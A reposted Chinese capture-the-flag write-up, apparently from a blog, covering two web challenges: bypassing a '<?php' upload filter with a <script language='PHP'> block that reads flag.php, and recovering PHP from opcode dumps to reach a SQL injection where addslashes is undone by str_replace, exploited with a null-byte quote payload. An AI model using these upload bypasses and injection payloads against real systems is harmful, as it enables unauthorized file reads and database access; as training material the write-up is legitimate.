SCTF

根据提示,可以写一个php文件打开flag.php

<?php
$fh=fopen('../flag.php','r');
echo fread($fh,filesize("../flag.php"));
fclose($fh);
?>

发现<?php 被过滤掉了,因此可以尝试以js代码的形式执行PHP

<script language="PHP">
    $fh=fopen("../flag.".strtolower("PHP"),'r');
    echo fread($fh,filesize("../flag.".strtolower("PHP")));
    fclose($fh);
</script>

上传成功后查看源码。

在写入js代码时,只需要注意不要出现小写字母php就好,因为会被过滤掉。

2.VID

看了一下网页源码

访问index.php.txt

一些什么文件位置,还有文件名称。

百度了一下原始页面出现的那个VID 简单的解释就是PHP在编译运行的时候会借助VID,VID将PHP代码编译为机器语言,然后才能运行。

这道题恶心的地方就在于面对这些VID编码,网上没有任何工具可以将他们翻译成PHP语言,因此只能自己找一张对照表然后翻译一下。

<?php

echo 'do you know Vulcan Logic Dumper?<br>';
      $a=$_GET['flag1'];
   $b=$_GET['flag2'];
      $c=$_GET['flag3'];
  
      if($a!='fvhjjihfcv')
         {echo 'false<br>';
     }
     elseif($b!='gfuyiyhioyf')
     {
             echo 'false <br>';
     }
     elseif($c!='yugoiiyhi')
     {
             echo 'false <br>';
     }
     else
     {
             echo 'the next step is xxx.zip';
     }
 
 
     echo '<!-- index.php.txt ?>'; 
?>

 构造/?flag1=fvhjjihfcv&flag2=gfuyiyhioyf&flag3=yugoiiyhi

访问1chunqiu.zip

给了几个PHP文件,审一下这几个文件,发现这一段代码。

password经过md5加密,number只能是纯数字,所以都不存在注入点。但是username虽然经过addslashes()处理(反注入函数),但是又再次被这句代码处理 "  $username = trim(str_replace($number, ‘‘, $username));  ",所以我们可以利用这里让单引号被利用。比赛中我在看这4行代码的时候感觉第四行有点多余,因为在第一行已经给出了username的范围,第四行又定义了一遍,因此感觉应该是留下的一个漏洞。

构造number=0&username=%00‘ &password=3

 得到了flag。

猜你喜欢

转载自www.cnblogs.com/sylover/p/10591637.html